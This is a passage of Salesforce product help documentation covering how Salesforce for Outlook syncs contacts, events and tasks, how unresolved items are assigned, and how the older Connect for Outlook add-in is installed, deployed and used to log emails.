Salesforce for Outlook offers a seamless sync experience, where data syncs automatically without interrupting your work. Here are some guidelines to keep in mind as you sync data with Salesforce for Outlook. Salesforce for Outlook uses Outlook folders to limit which records sync with Salesforce. Before you complete the Salesforce for Outlook setup wizard, make sure the folders you want to sync contain the right records. If you're syncing both ways or syncing Outlook to Salesforce, moving a record out of a synced Outlook folder deletes that record in Salesforce. If you're syncing both ways or syncing Salesforce to Outlook, removing a record from Salesforce deletes that record in Outlook. Your data syncs automatically after you set up Salesforce for Outlook. During active use, all updates sync automatically every ten minutes. If we detect no keyboard or mouse activity for 30 minutes, we change the sync frequency to 30 minutes. After two hours of inactivity, we sync hourly, and after four hours, we sync every four hours. You can force a sync at any time by right-clicking the system tray icon ( ) and clicking Sync > Sync Now. Your Outlook configuration defines which items are set to sync, which direction the data flows between Outlook and Salesforce, and what happens when data conflicts. If you don't want certain Outlook items to sync, assign them to the category Don't Sync to Salesforce in Outlook. Outlook and Salesforce must be configured to sync before you can see the Sync > Sync Now menu item. If data is undeleted in Salesforce or becomes available due to a change in sharing permissions, it will show up in Outlook within 24 hours or when you manually sync from the system tray.

See Also:
Syncing Events with Salesforce for Outlook Syncing Contacts with Salesforce for Outlook Syncing Tasks with Salesforce for Outlook My Unresolved Items Overview

2419

Salesforce for Outlook

Syncing with Salesforce for Outlook

Syncing Contacts with Salesforce for Outlook


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To sync contacts from Salesforce to Outlook: Read on contacts AND Contact sync direction set to Salesforce.com to Outlook To sync contacts both ways: Read and Edit on contacts, and Read on accounts AND Contact sync direction set to Sync both ways

You can easily keep your important Outlook and Salesforce contacts in sync using Salesforce for Outlook. When contacts initially sync, Salesforce for Outlook checks to see whether a contact with the same email address exists in both Outlook and Salesforce. If a matching email address exists, the two contacts are synced. If it doesn't exist, Salesforce for Outlook checks to see whether a contact with the same first name, last name, and company name exists. If it doesn't exist, a new contact is created and the two are synced. Your Outlook configuration defines which items are set to sync, which direction the data flows between Outlook and Salesforce, and what happens when data conflicts. The supported sync directions are Salesforce.com to Outlook and Sync both ways. You can't currently sync contacts from Outlook to Salesforce. Salesforce for Outlook isn't case-sensitive when matching contacts. This diagram shows how contacts sync.

2420

Salesforce for Outlook

Syncing with Salesforce for Outlook

How contacts sync when the sync direction is Salesforce.com to Outlook: If A contact already exists in Outlook A contact doesn't exist or has been deleted in Outlook Multiple matching contacts exist in Outlook A contact is updated Then The Salesforce contact replaces the Outlook contact and the two are synced. The contact is automatically created in Outlook and the two are synced. We select one of them. The Salesforce contact always overwrites the Outlook contact, regardless of which one was updated.

2421

Salesforce for Outlook

Syncing with Salesforce for Outlook

If A Salesforce contact is deleted

Then The Outlook counterpart is also deleted. If the Outlook contact is deleted and the Salesforce contact is updated, the contact is recreated in Outlook.

How contacts sync when the sync direction is Sync both ways: If A contact exists on one side only A matching contact exists Then The contact is automatically created on the other side and the two are synced. One contact record replaces the other one, and the records are synced. If your Outlook configuration specifies that Outlook contacts win, the Outlook version replaces the Salesforce version, and vice versa if Salesforce is set to win. Any change to either record is automatically reflected in the other. If records conflict, the conflict behavior setting determines which record wins. As long as there's only one version of the Outlook contact and that contact has an email address, we sync the Outlook contact with aSalesforce contact based on your matching preference, such as the contact that was most recently updated. Both contacts are updated with the latest changes. If records conflict, the conflict behavior setting determines which record wins. The Outlook counterpart is deleted if Salesforce is set to win, and the contact is recreated in Salesforce if Outlook is set to win. The Salesforce counterpart is deleted if Outlook is set to win, and the contact is recreated in Outlook if Salesforce is set to win.

Multiple matching Salesforce contacts exist

A contact is updated

A Salesforce contact is deleted and the Outlook contact is updated An Outlook contact is deleted and the Salesforce contact is updated

Note: If person accounts have been implemented in your organization, Salesforce for Outlook can sync person accounts between your Accounts tab in Salesforce and your contacts folder in Outlook. You can create new person accounts in Salesforce and view, edit, and delete synced person accounts in Outlook or Salesforce. Contacts synced from Outlook to Salesforce may be matched to person accounts. A deleted person account will be recreated as a contact in Salesforce if: You update the related Outlook contact before the next sync, and

2422

Salesforce for Outlook

Syncing with Salesforce for Outlook

Your configuration is set to sync both ways with Outlook wining.

See Also:
Syncing with Salesforce for Outlook Resolving Your Synced Outlook Contacts Automatic Account Assignments for Synced Contacts Viewing Your Salesforce for Outlook Matching Criteria Managing Your Salesforce for Outlook Configuration

Syncing Events with Salesforce for Outlook


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To sync events from Outlook to Salesforce To sync events from Salesforce to Outlook: To sync events both ways: To sync multiday events: Read and Edit on events, and event sync direction set to Outlook to salesforce.com Read and Edit on events, and event sync direction set to Salesforce.com to Outlook Read and Edit on events, and event sync direction set to Sync both ways Enable Multiday Events on activities

You can easily keep your Outlook and Salesforce events in sync using Salesforce for Outlook. Once an event is in Salesforce, you can assign it to related records, like contacts, accounts, opportunities, and so on. Syncing events also lets you maintain an accurate view of your availability when you create events and request meetings from your Salesforce calendar. Which Events Sync Your Outlook configuration defines which items are set to sync, which direction the data flows between Outlook and Salesforce, and what happens when data conflicts. The event filters in your configuration determine which events sync. The possible filters are:
TODAYSyncs events that end on or after today. LAST MONTHSyncs events that ended on or after the first day of last month. LAST N DAYSSyncs events that ended on or after a specified number of days ago, such as LAST 30 DAYS.

Event updates stop syncing once the event falls outside of the range you're configured to sync. The following items don't sync: recurring events, all-day events beginning on the first day you're configured to sync, and event attendees. Multiday events sync as single events in either direction. Salesforce for Outlook syncs events based on their end dates rather than their start dates. For example, if you're syncing current and future events only, a two-day event that started yesterday still syncs.

2423

Salesforce for Outlook

Syncing with Salesforce for Outlook

How We Match Events When events first sync, we either link them with existing events that have the same subject and time or create new events if nothing matches. How You Assign Events to Salesforce records After an event is added to Salesforce, you can assign it to other records using the My Unresolved Items page or the Related To and Name fields on the event record. The event is added to the associated record's Activity History or Open Activities related list. You can't save changes if your events have a required custom field or an activity custom field becomes required after items are added to your unresolved events list. Who Sees Synced Events in Salesforce Events that aren't marked as private are visible Salesforce to you, those above you in your role hierarchy, and anyone who has access to the records they're associated with. You can also grant access to view your calendar to other users, personal and public groups, roles, or roles and subordinates.

See Also:
Granting Access to Your Calendar Resolving Your Synced Outlook Events Creating Events Syncing with Salesforce for Outlook Managing Your Salesforce for Outlook Configuration

Syncing Tasks with Salesforce for Outlook


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To sync tasks from Outlook to Salesforce: To sync tasks from Salesforce to Outlook: To sync tasks both ways: Read and Edit on tasks, and task sync direction set to Outlook to salesforce.com Read and Edit on tasks, and task sync direction set to Salesforce.com to Outlook Read and Edit on tasks, and task sync direction set to Sync both ways

You can easily keep your Outlook and Salesforce tasks in sync using Salesforce for Outlook. Once a task is in Salesforce, you can assign it to related records, like contacts, accounts, opportunities, and so on. Which Tasks Sync Your Outlook configuration defines which items are set to sync, which direction the data flows between Outlook and Salesforce, and what happens when data conflicts. The task filters in your configuration determine which tasks sync. The possible filters are:

2424

Salesforce for Outlook

Syncing with Salesforce for Outlook

TODAYSyncs events that end on or after today. LAST MONTHSyncs events that ended on or after the first day of last month. LAST N DAYSSyncs events that ended on or after a specified number of days ago, such as LAST 30 DAYS.

Task updates stop syncing once the task falls outside of the range you're configured to sync. Recurring tasks and items flagged for follow-up on your Outlook To-Do list don't sync. Salesforce for Outlook syncs tasks based on their due dates. How We Match Tasks When tasks first sync, we link them with existing tasks that have the same subject and due date. If you don't assign due dates to tasks, we link them using the same subject only. How You Assign Tasks to Salesforce Records After a task is added to Salesforce, you can assign it to other records using the My Unresolved Items page or the Related To and Name fields on the task record. The task is added to the associated record's Activity History or Open Activities related list. You can't save changes if your tasks have a required custom field or an activity custom field becomes required after items are added to your unresolved tasks list.

See Also:
Syncing with Salesforce for Outlook Resolving Your Synced Outlook Tasks Managing Your Salesforce for Outlook Configuration

Automatic Account Assignments for Synced Contacts


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To assign accounts: To create new accounts: Read on accounts and Edit on contacts Create on accounts and Edit on contacts AND Show Quick Create

After syncing contacts from Outlook, Salesforce for Outlook tries to automatically assign them to accounts, as shown in this diagram.

2425

Salesforce for Outlook

Syncing with Salesforce for Outlook

This table describes the account assignment process. If A contact's company matches a single Salesforce account A contact's company matches many Salesforce accounts or none Then The contact is assigned to that account. The contact is sent to My Unresolved Items in Salesforce, which you can access from the Contact home page or the Salesforce for Outlook system tray application. You can use this list to manually assign contacts to existing accounts, create new accounts, or confirm that contacts are private. The contact is treated as a private contact and is not sent to My Unresolved Items. If a matching account is found in Salesforce, the contact is assigned to that account. Otherwise, the contact is sent to My Unresolved Items to be resolved.

A contact doesn't have a company name A contact's company changes in Outlook

2426

Salesforce for Outlook

My Unresolved Items Overview

If An unresolved contact is deleted in Outlook An unresolved contact is changed in Outlook

Then The contact is removed from My Unresolved Items the next time you open the list. The contact record is updated in My Unresolved Items. If the contact's company changes, Salesforce checks to see if that information matches any existing accounts and assigns it to an account if it finds a match.

See Also:
Resolving Your Synced Outlook Contacts Syncing Contacts with Salesforce for Outlook Managing Your Salesforce for Outlook Configuration

My Unresolved Items Overview


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

My Unresolved Items is a list of contacts, events, emails, and tasks that have been added to Salesforce but haven't yet been associated with other Salesforce records. Use this list to manually assign items or confirm that you want to leave them unassigned. In Salesforce, you can access all your unresolved items from either the sidebar shortcut Unresolved Items, or the home page links for unresolved emails, tasks, and events.

Using Features that Make Resolving Items Easy


The following features help you resolve items quickly and easily. To Assign multiple items simultaneously Have Salesforce provide recommendations Use the feature Batch Edit Recommendations This feature helps you save time because You can assign up to 50 items in any one queue simultaneously. Salesforce provides recommendations for accounts, cases, and opportunities to which you can assign your items. If you don't want to see these recommendations, click the Turn off Recommendations link. If you change your mind, click the Turn on Recommendations link. Recommendations display only when you select a contact from the lookup and the related list is empty. Salesforce displays recommendations based on the following criteria.

2427

Salesforce for Outlook

My Unresolved Items Overview

To

Use the feature

This feature helps you save time because Accounts: The contact has either an account as the parent, or a contact role in the account. Cases: The contact is related to the case. Opportunities: The contact has a contact role in the opportunity.

See Also:
Resolving Your Synced Outlook Contacts Resolving Your Synced Outlook Events Resolving Your Unassigned Emails Resolving Your Synced Outlook Tasks Syncing Contacts with Salesforce for Outlook Syncing Events with Salesforce for Outlook Syncing Tasks with Salesforce for Outlook Automatic Account Assignments for Synced Contacts

Resolving Your Synced Outlook Contacts


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view or edit unresolved contacts: Edit on contacts and Read on accounts AND Sync enabled for contacts To create new accounts: Edit on contacts and Create on accounts AND Show Quick Create

When contacts sync from Outlook with Salesforce for Outlook, some are automatically assigned to accounts based on their company. The rest are added to My Unresolved Items, where you can either assign contacts to Salesforce accounts or confirm that you want to leave them unassigned. 1. Access your unresolved contacts from the sidebar shortcut Unresolved Items. 2. Resolve each contact in any of these ways. Assign an account.

2428

Salesforce for Outlook

My Unresolved Items Overview

Select an account under Choose Suggested Account in the drop-down list. We suggest accounts only if we detect possible matches based on the contact's company. Suggested accounts always show the Account Name field and the first three additional fields defined in your account search layout. If your organization has contact lookup filters that prevent certain accounts from being assigned to contacts, those accounts wont appear as suggested accounts and cant be assigned to contacts. Select Search Salesforce.com.... In the lookup, either click New, enter account information, and click Save, or enter search criteria, click Go!, and click the right account. If you don't see the lookup, you may need to first allow popups from Salesforce. Leave unassignedSelect Don't Assign New Account from the drop-down list if you want to confirm that a contact with no account should remain unassigned. Unassigned contacts aren't related to Salesforce records and are visible to you and your administrator only. Choose an account if there's a conflictIf the Outlook and Salesforce contacts' companies are different, click Don't Assign New Account in the drop-down list to overwrite one with the other. The Salesforce account overwrites the Outlook company if Salesforce is set to win, and Outlook overwrites the Salesforce account if Outlook is set to win. Cancel a selectionSelect None Selected from the drop-down list.

3. Click Save to save your changes. All modified items are removed from the list. Remaining items continue to sync, and you can return any time to resolve them. Clicking Cancel cancels all changes on the page. Every contact assigned to an account now appears on the Contacts related list for that account. Note: You can also resolve a contact from the contact record by marking it private or by assigning it to an account. Your unresolved contacts list works like a standard list view. Click Edit or Create New View to define filters and customize columns.

See Also:
My Unresolved Items Overview Syncing Contacts with Salesforce for Outlook Creating Custom List Views Customizing Search Layouts

Resolving Your Synced Outlook Events

2429

Salesforce for Outlook

My Unresolved Items Overview

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view or edit unresolved events: Edit on events and Read on the objects you assign to events AND Sync enabled for events To create new Salesforce records: Edit on events AND Show Quick Create and Create on those objects To see recently used data in the related records fields: Lookup Auto-Completion in Search Settings

When events sync from Outlook with Salesforce for Outlook, they appear in your Salesforce calendar and on the My Unresolved Items page. Use this page to either assign events to related Salesforce records or confirm that you want to leave them unassigned. 1. Access your unresolved events from the sidebar shortcut Unresolved Items. 2. Depending on how you want to resolve an event, choose either of these actions. Assign to related recordsEnter a related record in one or both fields. If you need to, first select the correct record type from the drop-down list. If you assign a lead, you can't assign additional records. Clear an entry to cancel an assignment. Leave unassignedClick Don't Assign. Unassigned events, such as internal meetings or personal appointments, aren't linked to any other records and are visible to you only.

3. Click Save to save your changes. All modified items are removed from the list. Remaining items continue to sync, and you can return any time to resolve them. Clicking Cancel cancels all changes on the page. The event is added to the associated record's Activity History or Open Activities related list. You can't save changes if your events have a required custom field or an activity custom field becomes required after items are added to your unresolved events list. Note: You can also resolve an event from the event record by marking it private or by assigning it to other Salesforce records using the Related To and Name fields. Assigned and private events are automatically removed from your unresolved events list. Click next to the subject to see an event's description.

See Also:
My Unresolved Items Overview Syncing Events with Salesforce for Outlook Enabling Lookup Auto-Completion

Resolving Your Synced Outlook Tasks

2430

Salesforce for Outlook

My Unresolved Items Overview

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view or edit unresolved tasks: Edit on tasks and Read on the objects you assign to tasks AND Sync enabled for tasks To create new Salesforce records: Edit on tasks AND Show Quick Create and Create on those objects To see recently used data in the related records fields: Lookup Auto-Completion in Search Settings

When tasks sync from Outlook with Salesforce for Outlook, they appear on the My Unresolved Items page. Use this page to either assign tasks to related Salesforce records or confirm that you want to leave them unassigned. 1. Access your unresolved tasks from the sidebar shortcut Unresolved Items. 2. Depending on how you want to resolve a task, choose either of these actions. Assign to related recordsEnter a related record in one or both fields. If you need to, first select the correct record type from the drop-down list. If you assign a lead, you can't assign additional records. Clear an entry to cancel an assignment. Leave unassignedClick Don't Assign. Unassigned tasks, such as internal meetings or personal appointments, aren't linked to any other records and are visible to you only.

3. Click Save to save your changes. All modified items are removed from the list. Remaining items continue to sync, and you can return any time to resolve them. Clicking Cancel cancels all changes on the page. The task is added to the associated record's Activity History or Open Activities related list. You can't save changes if your tasks have a required custom field or an activity custom field becomes required after items are added to your unresolved tasks list. Note: You can also resolve a task from the task record by assigning it to other Salesforce records using the Related To and Name fields. Assigned tasks are automatically removed from your unresolved tasks list.

See Also:
My Unresolved Items Overview Syncing Tasks with Salesforce for Outlook

2431

Connect for Outlook

Force.com Connect for Microsoft Outlook Overview

CONNECT FOR OUTLOOK


Force.com Connect for Microsoft Outlook Overview
Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

Force.com Connect for Microsoft Outlook is an add-in that allows you to interact with Salesforce conveniently from Outlook. Connect for Outlook adds buttons and options to your Outlook user interface. Note: For the latest Outlook integration experience, upgrade to our new tool, Salesforce for Outlook.

With Connect for Outlook, you can: Use the Salesforce Address Book to insert contacts and leads as email recipients Add outbound or existing email messages from Outlook to account, asset, campaign, case, contact, contract, lead, opportunity, product, and custom object records in Salesforce Upload email attachments to Salesforce Create a new case in Salesforce from an Outlook email Associate contacts, calendar events, and tasks in Outlook with records in Salesforce Synchronize contacts, calendar events, and tasks between Salesforce and Outlook From Outlook, open a Salesforce record's detail page in a Web browser Note: The version of Connect for Outlook that you have installed may not include all of these features. To upgrade to the most recent Connect for Outlook version, click Your Name > Setup > Desktop Integration > Connect for Outlook. If your administrator has renamed any Salesforce standard tab names, the tab names you see in Outlook are different than those mentioned in these help topics. Also, your administrator may have customized Connect for Outlook to disallow certain operations such as synchronizing contacts or uploading attachments. If your administrator has prohibited a particular operation, all related commands are disabled in your user interface. Connect for Outlook version 3.2 and later supports person accounts if they have been implemented in your organization.

See Also:
Installing Connect for Outlook Using Connect for Outlook Setting Connect for Outlook Options FAQ: Connect for Outlook Tip sheet: Working with Connect for Outlook Tip sheet: Administering Connect for Outlook Release Notes: What's New with Connect for Outlook?

2432

Connect for Outlook

Installing Connect for Outlook

Installing Connect for Outlook


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

To download and install Connect for Outlook: 1. Back up your Outlook data, saving each of your folders as a .pst file using File > Import and Export > Export to a File > Personal Folder File (.pst). 2. Back up your Salesforce data. We recommend you run reports of your contacts and activities and then export them to Excel. Alternatively, users with Enterprise or Unlimited Editions can ask their Salesforce administrator to back up their organizations data using weekly export. 3. Uninstall any previous versions of Connect for Outlook, which appear in the program removal tool of your Windows Control Panel as Salesforce Outlook Edition. 4. Exit Outlook, making sure to close all Outlook windows. 5. In Salesforce, click Your Name > Setup > Desktop Integration > Salesforce for Outlook > Connect for Microsoft Outlook. In Enterprise and Unlimited Editions, your administrator may have prohibited access to the download page. For more information, see Desktop Client Access Overview on page 518. 6. Click Install Now. The Connect for Outlook download page also includes a link to download an .msi file so system administrators can centrally deploy Connect for Outlook to their entire organization. 7. Run the installer, following the prompts on each screen. 8. Start Outlook. A wizard introduces you to features and options. To change your Connect for Outlook options later, use the Configuration Options dialog box. 9. After completing the wizard, restart Outlook to apply your changes. Note: Connect for Outlook requires Salesforce to install components that edit the registry on your computer. If your organization imposes security that prevents you from editing the registry, log in as the administrator of your machine before installing these components or contact your IT department for assistance.

Logging in to Connect for Outlook


If your organization restricts IP addresses, logins from untrusted IPs are blocked until they're activated. Salesforce automatically sends you an activation email that you can use to log in. The email contains a security token that you must add to the end of your password. For example, if your password is mypassword, and your security token is XXXXXXXXXX, you must enter mypasswordXXXXXXXXXX to log in.

See Also:
Connect for Outlook System Requirements Using Connect for Outlook Setting Connect for Outlook Options Deploying Connect for Outlook System-Wide FAQ: Connect for Outlook Release Notes: What's New with Connect for Outlook?

2433

Connect for Outlook

Installing Connect for Outlook

Connect for Outlook System Requirements


The system requirements for Connect for Outlook are: Microsoft Outlook XP (2002), 2003, or 2007 Microsoft Windows 2000, XP, Vista, or 7 (32-bit only; 64-bit is not supported) Microsoft Exchange Server Microsoft Word XP (2002), 2003, or 2007

Implementation Considerations You must have administrator permissions to run the .msi installer with Windows 7. Connect for Outlook is available in all supported languages offered by Salesforce. However, your Connect for Outlook language is determined by your Outlook display language setting rather than your Salesforce language. To display non-English characters in Connect for Outlook, you must install the Windows language service packs for the characters you want to display or add the specified language to the mail format settings within Outlook. Connect for Outlook fully supports Unicode encoding. However, versions of Outlook prior to Outlook 2003 do not. If you use an earlier version of Outlook, synchronized items may not display properly in Salesforce if they contain characters that are not native to your Outlook locale.

See Also:
Installing Connect for Outlook Force.com Connect for Microsoft Outlook Overview

Deploying Connect for Outlook System-Wide


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

As an administrator, you can enforce data quality by controlling what users can do in regards to the movement of their data when synchronizing contacts, tasks, and calendar events with Connect for Outlook. Follow these steps: 1. Start an Outlook client that has the Connect for Outlook add-in installed. 2. In Outlook, go to Tools > Salesforce Options. 3. In the Contacts, Events, and Tasks tabs, set the following fields as desired:
Synchronize Data with Salesforce - Select this checkbox to allow users to synchronize that type of record.

If you deselect it, all Connect for Outlook features related to synchronization will be hidden from your users. Data Movement - Can be Export to Salesforce, Export with Overwrites to Salesforce, Import from Salesforce, Import with Overwrites from Salesforce, or Synchronize with Salesforce. These options determine how data moves between Salesforce and Connect for Outlook during synchronization. Always mark for sync - Select this checkbox to automatically select the Mark for Sync option on all newly created items of the appropriate type that you save to your synchronization folder. For example, if you set this option for contacts, any newly created contacts that you save to the synchronization folder are automatically included the next

2434

Connect for Outlook

Installing Connect for Outlook

time you sync with Salesforce. You can exclude an automatically-marked item from synchronization if you manually unmark it. Note: Records created or edited on the server or on other devices, such as a Blackberry, won't be marked for sync. Click Advanced > Conflict and choose one of the following radio buttons: Ignore all conflicts, Notify me when conflicts occur, Salesforce always wins, or Outlook always wins. These advanced options determine how Connect for Outlook handles conflicts between Salesforce and Outlook data during synchronization.

4. Click the User Permissions tab. For reference, the Synchronization Settings area summarizes the settings you made in the previous step. 5. In the User Permissions area, select or deselect the following settings:
User can modify which objects are synchronized User can modify field mappings User can modify conflict resolution options User can modify the direction of synchronizations User can quick create

This setting enables the Quick Create links for accounts, contacts, and leads on the Add to Salesforce and Change Associations dialog boxes. 6. Click the Show File button to open the settings file O_Dictionary.xml. If necessary, change the XOverrideOptions attribute to OverrideOptions and change the OverrideOptions value to true. Save and close the file. 7. If you have not already prohibited user access to program files, do so now. At a minimum, deny write access to C:\Program Files\salesforce.com. 8. Using a tool such as Microsoft Systems Management Server (SMS), distribute the XML file to your users in the following directory: C:\Program Files\salesforce.com\O3. Note: For Windows 2000 and XP users, note that this dictionary file takes precedence over the user-specific file with the same name at C:\Documents and Settings\<user name>\Application Data\salesforce.com\SM. For Windows Vista users, the user-specific file is located at C:\Users\<user name>\AppData\Roaming\salesforce.com\SM. 9. When they start Connect for Outlook, users will only be able to perform the operations that you have enabled and will not have access to the User Permissions tab in the options dialog box. For information on using registry keys to customize Connect for Outlook for your users, see the Administering Connect for Outlook tip sheet.

See Also:
Installing Connect for Outlook Setting Connect for Outlook Options Tip sheet: Administering Connect for Outlook Release Notes: What's New with Connect for Outlook?

2435

Connect for Outlook

Using Connect for Outlook

Using Connect for Outlook


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

Connect for Outlook is easy to usemost actions take only a few clicks to perform. Connect for Outlook commands are conveniently located in toolbars, right-click shortcut menus, and the Ribbon (if you have Outlook 2007).

Working with Outlook Email Messages


Adding Contacts and Leads as Email Recipients with Connect for Outlook Adding Outgoing Emails to Salesforce with Connect for Outlook Adding Sent or Received Email Messages to Salesforce with Connect for Outlook Creating Cases from Outlook Emails with Connect for Outlook

Working with Outlook Contacts, Calendar Events, and Tasks


Assigning Outlook Items to Salesforce Records Synchronizing Your Contacts and Activities with Connect for Outlook Opening Salesforce Records from Outlook with Salesforce

Working with Person Accounts


Working with Person Accounts in Connect for Outlook Note: The version of Connect for Outlook that you have installed may not include all of these features. To upgrade to the most recent Connect for Outlook version, click Your Name > Setup > Desktop Integration > Connect for Outlook. If your administrator has renamed any Salesforce standard tab names, the tab names you see in Outlook are different than those mentioned in these help topics. Also, your administrator may have customized Connect for Outlook to disallow certain operations such as synchronizing contacts or uploading attachments. If your administrator has prohibited a particular operation, all related commands are disabled in your user interface. Connect for Outlook version 3.2 and later supports person accounts if they have been implemented in your organization.

See Also:
Installing Connect for Outlook Setting Connect for Outlook Options Setting Your Sync Profile for Connect for Outlook FAQ: Connect for Outlook

Adding Contacts and Leads as Email Recipients with Connect for Outlook

2436

Connect for Outlook

Adding Contacts and Leads as Email Recipients with Connect for Outlook

Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

When sending an email from Outlook using Connect for Outlook, you can use the Salesforce Address Book to add contacts and leads as recipients of outgoing emails. 1. Open Outlook. 2. Click New to compose a new email. 3. In Outlook XP and 2003, click the Salesforce Address Book button in the toolbar. In Outlook 2007, click the Salesforce tab on the Ribbon, then choose Salesforce Address Book. 4. In the search box, enter all or part of the Email, First Name, Last Name, Phone, lead Company, custom email or phone number field, or any other field accessible in search for contacts and leads. For example, enter mi, mike, meyers, or mike meyers to find Mike Meyers. Your search term must have a minimum of two characters. 5. 6. 7. 8. Click Search. Select names from the matching contacts and leads. Click the To, Cc, or Bcc button to add the names as email recipients. Click OK to finish. Note: The version of Connect for Outlook that you have installed may not include all of these features. To upgrade to the most recent Connect for Outlook version, click Your Name > Setup > Desktop Integration > Connect for Outlook. If your administrator has renamed any Salesforce standard tab names, the tab names you see in Outlook are different than those mentioned in these help topics. Also, your administrator may have customized Connect for Outlook to disallow certain operations such as synchronizing contacts or uploading attachments. If your administrator has prohibited a particular operation, all related commands are disabled in your user interface. Connect for Outlook version 3.2 and later supports person accounts if they have been implemented in your organization.

See Also:
Search Fields

Adding Outgoing Emails to Salesforce with Connect for Outlook

2437

Connect for Outlook

Adding Outgoing Emails to Salesforce with Connect for Outlook

Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

User Permissions Needed To associate Outlook items with Salesforce records: Read on each type of record

Connect for Outlook enables you to send email messages from Outlook and quickly log them as tasks in Salesforce. For example, if you send an email requesting feedback about an opportunity, you can save the email as a task assigned to you in Salesforce. The email is added to Salesforce as a completed task in the Activity History related list of the associated records. Follow these procedures in order:

Beginning an Outgoing Email


Begin by starting the email that you want to add to Salesforce as a task: 1. 2. 3. 4. 5. In Outlook, open an email folder. Click New to compose a new email. Optionally, use the Salesforce Address Book to add contacts and leads as recipients of the email. Compose the email message. In Outlook XP and Outlook 2003, click the Send and Add button in the toolbar. In Outlook 2007, click the Salesforce tab on the Ribbon, then choose Send and Add. The Add to Salesforce dialog box opens. Note: If you have multiple IMAP or POP3 email accounts configured in Outlook, Connect for Outlook always uses your default IMAP or POP3 email account as the email sender when you click Add to Salesforce, no matter which email account you are currently using in Outlook.

Associating an Email
Next, associate the Outlook email with one or more Salesforce records using the Add to Salesforce dialog box. Note: Certain tabs or fields on the Add to Salesforce dialog box may be unavailable if your administrator has hidden the Name or Related To fields for tasks in Salesforce. 1. On the Names tab: a. Confirm that the task has the correct assignee, status, and subject. b. In the Results box, double-click the correct contact or lead to associate with the task. Your selection displays at the bottom of the tab. You can click the View link to open the contact or lead in Salesforce or click the Clear link to make another selection. Note that when you select a lead, you cannot associate the email with another Salesforce record. If needed, enter criteria in the Search field and click Go! c. If you do not find the contact or lead you want, you can create a new one by clicking the Quick Create Contact or Lead links, if enabled. 2. On the Related To tab: a. Optionally, search for another record such as an account or opportunity to associate with the task. Double-click the correct record in the Results box. Your selection displays at the bottom of the tab. b. If you do not find the account you want, you can create a new account by clicking the Quick Create Account link, if enabled.

2438

Connect for Outlook

Adding Outgoing Emails to Salesforce with Connect for Outlook

Choosing Attachments for Upload


Optionally, upload Outlook email attachments to Salesforce records using the Add to Salesforce dialog box. Note: You won't see the Attachments tab if your administrator has hidden the Name and Related To fields for tasks in Salesforce. 1. On the Attachments tab, select a radio button to specify the record where the attachment will be uploaded. You can only choose one record. 2. In the Email Attachments box, select the checkboxes next to the attachments you want to upload. 3. In the Files from My Computer box, click Add... to browse for files on your local computer to upload. Links to the uploaded attachments will be included in the Comments area of the new task.

Editing Uploaded Text


On the Message tab in the Add to Salesforce dialog box, you can edit the message contents that will be added to Salesforce. Any changes you make only affect the newly-created task in Salesforce, not the stored email in Outlook.

Adding the Email to Salesforce


Finally, click Add to Salesforce in the Add to Salesforce dialog box to add the email as a completed task in the Activity History related list of the associated records. The Type field on the new task is automatically set to Email. If the Show item after adding email checkbox is selected on the Email tab of your Salesforce Options dialog box, then the new task automatically opens in your Web browser. Note: The version of Connect for Outlook that you have installed may not include all of these features. To upgrade to the most recent Connect for Outlook version, click Your Name > Setup > Desktop Integration > Connect for Outlook. If your administrator has renamed any Salesforce standard tab names, the tab names you see in Outlook are different than those mentioned in these help topics. Also, your administrator may have customized Connect for Outlook to disallow certain operations such as synchronizing contacts or uploading attachments. If your administrator has prohibited a particular operation, all related commands are disabled in your user interface. Connect for Outlook version 3.2 and later supports person accounts if they have been implemented in your organization.

See Also:
Adding Sent or Received Email Messages to Salesforce with Connect for Outlook Creating Cases from Outlook Emails with Connect for Outlook Tips for Assigning Outlook Emails to Salesforce Records with Connect for Outlook Adding Contacts and Leads as Email Recipients with Connect for Outlook

Adding Sent or Received Email Messages to Salesforce with Connect for Outlook

2439

Connect for Outlook

Adding Sent or Received Email Messages to Salesforce with Connect for Outlook

Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

User Permissions Needed To associate Outlook items with Salesforce records: Read on each type of record

Connect for Outlook lets you add email messages that you have sent or received as tasks in Salesforce. For example, if you receive an email from a customer requesting an invoice, you can save the email as a task that is assigned to you in Salesforce. Follow these procedures in order:

Selecting Sent or Received Email Messages


First, select existing email messages that you want to add to Salesforce as tasks: 1. In Outlook, open an email folder. 2. Select one or more email messages so they are highlighted. 3. Click Add Email from the toolbar or the right-click shortcut menu. The Add to Salesforce.com dialog box opens.

Associating an Email
Next, associate the Outlook email with one or more Salesforce records using the Add to Salesforce dialog box. Note: Certain tabs or fields on the Add to Salesforce dialog box may be unavailable if your administrator has hidden the Name or Related To fields for tasks in Salesforce. 1. On the Names tab: a. Confirm that the task has the correct assignee, status, and subject. b. In the Results box, double-click the correct contact or lead to associate with the task. Your selection displays at the bottom of the tab. You can click the View link to open the contact or lead in Salesforce or click the Clear link to make another selection. Note that when you select a lead, you cannot associate the email with another Salesforce record. If needed, enter criteria in the Search field and click Go! c. If you do not find the contact or lead you want, you can create a new one by clicking the Quick Create Contact or Lead links, if enabled. 2. On the Related To tab: a. Optionally, search for another record such as an account or opportunity to associate with the task. Double-click the correct record in the Results box. Your selection displays at the bottom of the tab. b. If you do not find the account you want, you can create a new account by clicking the Quick Create Account link, if enabled.

Choosing Attachments for Upload


Optionally, upload Outlook email attachments to Salesforce records using the Add to Salesforce dialog box. Note: You won't see the Attachments tab if your administrator has hidden the Name and Related To fields for tasks in Salesforce.

2440

Connect for Outlook

